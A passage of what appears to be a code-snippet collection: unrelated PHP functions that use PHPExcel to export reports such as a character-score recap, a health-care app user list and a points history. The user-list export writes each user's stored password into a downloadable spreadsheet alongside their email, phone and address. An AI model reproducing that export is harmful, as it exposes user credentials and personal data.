Rapor Akhlak\");\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n\t\t$style_col = array(\n\t\t\t'font' => array('bold' => true), // Set font nya jadi bold\n\t\t\t'alignment' => array(\n\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n\t\t$style_row = array(\n\t\t\t'alignment' => array(\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A1', \"Rekap Rapor Akhlak\"); // Set kolom A1 dengan tulisan \"Rekap Rapor Akhlak\"\n\t\t$excel->getActiveSheet()->mergeCells('A1:J1'); // Set Merge Cell pada kolom A1 sampai E1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n\t\t// Buat header tabel nya pada baris ke 3\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('B3', \"NAMA CABANG\"); // Set kolom B3 dengan tulisan \"NIS\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('C3', \"NILAI AMANAH\"); // Set kolom C3 dengan tulisan \"NAMA\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('D3', \"NILAI KOMPETEN\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('E3', \"NILAI HARMONIS\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('F3', \"NILAI LOYAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('G3', \"NILAI ADAPTIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('H3', \"NILAI KOLABORATIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('I3', \"NILAI TOTAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('J3', \"TANGGAL UPLOAD\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\n\t\t// Apply style header yang telah kita buat tadi ke masing-masing kolom header\n\t\t$excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('H3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('I3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('J3')->applyFromArray($style_col);\n\n\t\t// Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n\t\t$siswa = $this->RaporModel->view();\n\n\t\t$no = 1; // Untuk penomoran tabel, di awal set dengan 1\n\t\t$numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n\t\tforeach ($siswa as $data) { // Lakukan looping pada variabel siswa\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('A' . $numrow, $no);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $data->cabang);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $data->nilai_amanah . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $data->nilai_kompeten . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $data->nilai_harmonis . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $data->nilai_loyal . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, $data->nilai_adaptif . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $data->nilai_kolab . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $data->nilai_total . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $data->created_at);\n\n\t\t\t// Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n\t\t\t$excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row);\n\n\t\t\t$no++; // Tambah 1 setiap kali looping\n\t\t\t$numrow++; // Tambah 1 setiap kali looping\n\t\t}\n\n\t\t// Set width kolom\n\t\t$excel->getActiveSheet()->getColumnDimension('A')->setWidth(2); // Set width kolom A\n\t\t$excel->getActiveSheet()->getColumnDimension('B')->setWidth(14); // Set width kolom B\n\t\t$excel->getActiveSheet()->getColumnDimension('C')->setWidth(14); // Set width kolom C\n\t\t$excel->getActiveSheet()->getColumnDimension('D')->setWidth(16); // Set width kolom D\n\t\t$excel->getActiveSheet()->getColumnDimension('E')->setWidth(16); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('F')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('G')->setWidth(14); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('H')->setWidth(19); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('I')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('J')->setWidth(19); // Set width kolom E\n\n\t\t// Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n\t\t$excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n\t\t// Set orientasi kertas jadi LANDSCAPE\n\t\t$excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n\t\t// Set judul file excel nya\n\t\t$excel->getActiveSheet(0)->setTitle(\"Rekap Rapor Akhlak\");\n\t\t$excel->setActiveSheetIndex(0);\n\n\t\t// Proses file excel\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment; filename=\"Rekap Rapor Akhlak.xlsx\"'); // Set nama file excel nya\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n\t\t$write->save('php://output');\n\t}", "public function export() \n \t\t{\n \t\t$data = $this->model_user->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data User SN Health Care');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:I')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:J1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR USER APLIKASI SN HEALTH CARE');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Email');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Password');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Nomor Handphone');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Wilayah');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:J2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(20);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->user_name);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, $v->user_sex);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->user_datebirth);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->user_email);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->user_password);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->user_phone);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->district_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->user_address);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->user_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:J' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar User Aplikasi SN Health Care.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/user');\n \t\t}", "function table_table_header_row($values)\n{\n\t$cells=new ocp_tempcode();\n\tforeach ($values as $value)\n\t{\n\t\t$cells->attach(do_template('TABLE_TABLE_HEADER_ROW_CELL',array('_GUID'=>'5002f54ccddf7259f3460d8c0759fd1a','VALUE'=>$value)));\n\t}\n\n\treturn do_template('TABLE_TABLE_HEADER_ROW',array('_GUID'=>'2f4095b8d30f50f34fdd6acf8dd566b1','CELLS'=>$cells));\n}", "public function report_history(){ \r\n $periode = $this->input->post('periode_download');\r\n $getDate = explode(\" - \", $periode);\r\n $startDate = $getDate[0];\r\n $endDate = $getDate[1];\r\n \r\n $this->excel->setActiveSheetIndex(0);\r\n\r\n //name the worksheet\r\n $this->excel->getActiveSheet()->setTitle('History worksheet');\r\n\r\n $styleArray = array(\r\n 'borders' => array(\r\n 'allborders' => array(\r\n 'style' => PHPExcel_Style_Border::BORDER_THIN\r\n )\r\n )\r\n );\r\n\r\n $this->excel->getActiveSheet()->setCellValue('A1', 'History User');\r\n $this->excel->getActiveSheet()->getStyle(\"A1\")->getFont()->setSize(20);\r\n if(!empty($periode)){\r\n $this->excel->getActiveSheet()->setCellValue('A3', 'Start Date History : '.$startDate);\r\n $this->excel->getActiveSheet()->getStyle(\"A3\")->getFont()->setSize(12);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A4', 'End Date History : '.$endDate);\r\n $this->excel->getActiveSheet()->getStyle(\"A4\")->getFont()->setSize(12);\r\n }\r\n \r\n \r\n //set cell A1 content with some text\r\n $arrField = array('No', 'Name', 'Address', 'Agent Code', 'Agent Name', 'MG User ID', 'Email User', 'Status History', 'Gift Name', 'Value Gift', 'Point Gift', 'Last Point', 'In Point', 'Out Point', 'Current Point', 'Approved By','Tanggal History', 'Notes');\r\n \r\n $arrCellsTitle = $this->excel->setValueHorizontal($arrField, 6, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n\r\n $i = 0;\r\n foreach($arrCellsTitle as $cells){\r\n\r\n $this->excel->getActiveSheet()->setCellValue($cells, $arrField[$i]);\r\n $i++;\r\n $this->excel->getActiveSheet()->freezePane('A7');\r\n } \r\n\r\n $report_history = $this->report_model->data_ReportHistory($startDate,date('Y-m-d', strtotime($endDate. ' + 1 days')));\r\n \r\n if($report_history){\r\n $no=1;\r\n $startNum = 7;\r\n foreach ($report_history as $row) { \r\n $tanggal_history = new DateTime($row['date_create']);\r\n $tanggal_history = date_format($tanggal_history, 'd M Y H:i');\r\n \r\n $arrItem = array($no, $row['name'], $row['address'], $row['kode_agent'], $row['agent_name'], $row['mg_user_id'],$row['email'], $row['status'], $row['gift_name'], $row['value'], $row['point'], $row['last_point'], $row['in_point'], $row['out_point'], $row['current_point'], $row['username'],$tanggal_history, $row['notes']);\r\n\r\n $arrCellsItem = $this->excel->setValueHorizontal($arrItem, $startNum, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n \r\n\r\n $i = 0;\r\n foreach($arrCellsItem as $cellsItem){\r\n\r\n $this->excel->getActiveSheet()->setCellValue($cellsItem, $arrItem[$i]);\r\n $i++;\r\n\r\n //make border\r\n $this->excel->getActiveSheet()->getStyle($cellsItem)->applyFromArray($styleArray);\r\n $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n } \r\n\r\n $no++;\r\n $startNum++;\r\n }}\r\n \r\n \r\n //make border\r\n $this->excel->getActiveSheet()->getStyle('A6:R6')->applyFromArray($styleArray);\r\n\r\n //change the font size\r\n //$this->excel->getActiveSheet()->getStyle()->getFont()->setSize(10);\r\n\r\n //make the font become bold\r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getFont()->setBold(true);\r\n\r\n //merge cell\r\n $this->excel->getActiveSheet()->mergeCells('A1:R1');\r\n \r\n if(!empty($periode)){\r\n $this->excel->getActiveSheet()->mergeCells('A3:D3');\r\n $this->excel->getActiveSheet()->mergeCells('A4:D4');\r\n }\r\n \r\n //set aligment to center for that merged cell \r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\r\n\r\n $filename = 'history-user.xls'; //save our workbook as this file name\r\n header('Content-Type: application/vnd.ms-excel'); //mime type\r\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"'); //tell browser what's the file name\r\n header('Cache-Control: max-age=0'); //no cache\r\n \r\n //save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\r\n //if you want to save it as .XLSX Excel 2007 format\r\n $objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5'); \r\n //force user to download the Excel file without writing it to server's HD\r\n $objWriter->save('php://output');\r\n }", "function extract(){\n $datamine_row = $datamine_col = $header = array();\n $i = 0; $j = 0;\n \n // Groups all excel data by row\n for ($row = 1; $row <= $this->highestRow; $row++) {\n $rowData = $this->sheet->rangeToArray('A' . $row . ':' . $this->highestColumn . $row, null, true, false);\n if(empty($header)){\n $header=$rowData[0];\n }else{\n for($col=0;$col<count($header);$col++){\n $datamine_row[$i][$header[$col]] = $rowData[0][$col]; \n }\n $i++;\n }\n }\n $this->data_row = $datamine_row;\n \n // Re-group all excel data by column\n foreach($datamine_row as $data){\n foreach($header as $grp){\n $datamine_col[$grp][$j] = $data[$grp];\n }\n $j++;\n }\n $this->data_col = $datamine_col;\n }", "public function headings(): array\n {\n return ['ID', 'Email ID', 'Status', 'Created At', 'Last Updated At'];\n }", "public function gen_excel() {\n $this->load->library('excel');\n //activate worksheet number 1\n $this->excel->setActiveSheetIndex(0);\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Customer list');\n\n // load database\n $this->load->database();\n\n // load model\n // get all users in array formate\n $this->load->model('Welcome_model');\n\n \n// $data['res'] = $this->customer_model->load_product_data($product, $type);\n \n $table_data = $this->Welcome_model->select_Insert_data();\n \n// echo '<pre>';\n// print_r($res);\n// exit();\n \n// $this->customer_model->create_openJobOrder_excel($data);\n $this->Welcome_model->creat_Excel($table_data);\n }", "protected function addheader($filename)\n {\n $excelObject = PHPExcel_IOFactory::load($filename);\n //$excelObject = new PHPExcel();\n $excelObject->getProperties()\n ->setCreator(\"Gemstracker\")\n ->setLastModifiedBy(\"Gemstracker\")\n ->setTitle($this->model->getName());\n\n $activeSheet = $excelObject->getActiveSheet();\n\n $columnHeaders = $this->getColumnHeaders();\n $row = 1;\n\n $exportName = $this->getName();\n\n $i=0;\n $cell = 'A1';\n foreach($columnHeaders as $columnName=>$columnHeader) {\n $column = $this->getColumn($i);\n $cell = $column . $row;\n if (isset($this->data[$exportName]) && isset($this->data[$exportName]['format']) && in_array('formatVariable', $this->data[$exportName]['format'])) {\n $activeSheet->setCellValue($cell, $columnHeader);\n } else {\n $activeSheet->setCellValue($cell, $columnName);\n }\n if ($excelCellSize = $this->model->get($columnName, 'excelCellSize')) {\n $activeSheet->getColumnDimension($column)->setWidth($excelCellSize);\n } else {\n $activeSheet->getColumnDimension($column)->setAutoSize(true);\n }\n $i++;\n }\n\n $activeSheet->getStyle(\"A1:$cell\")->getFont()->setBold(true);\n\n $objWriter = PHPExcel_IOFactory::createWriter($excelObject, \"Excel2007\");\n $objWriter->save($filename);\n }", "public function headings():array\n {\n\t\tif(Auth::user()->role_id == 1 || Auth::user()->role_id == 14)\n\t\t{\n\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t ];\n\t\t\t}else{\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t'Organization Name',\n\t\t\t\t\t'Company Name',\n\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t'Person Name',\n\t\t\t\t\t'Sector',\n\t\t\t\t\t'Designation',\n\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t'Address',\n\t\t\t\t\t'State',\n\t\t\t\t\t'City',\n\t\t\t\t\t'Pincode',\n\t\t\t\t\t'Due ID',\n\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t'DueNote',\n\t\t\t\t\t'Email',\n\t\t\t\t\t'Grace Period',\n\t\t\t\t\t'Custom ID',\n\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t'Proof of Due',\n\t\t\t\t ];\n\t\t\t}\n\t\t}\n\n\t\t\t else {\n\n\t\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t\t ];\n\t\t\t\t}else{\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact 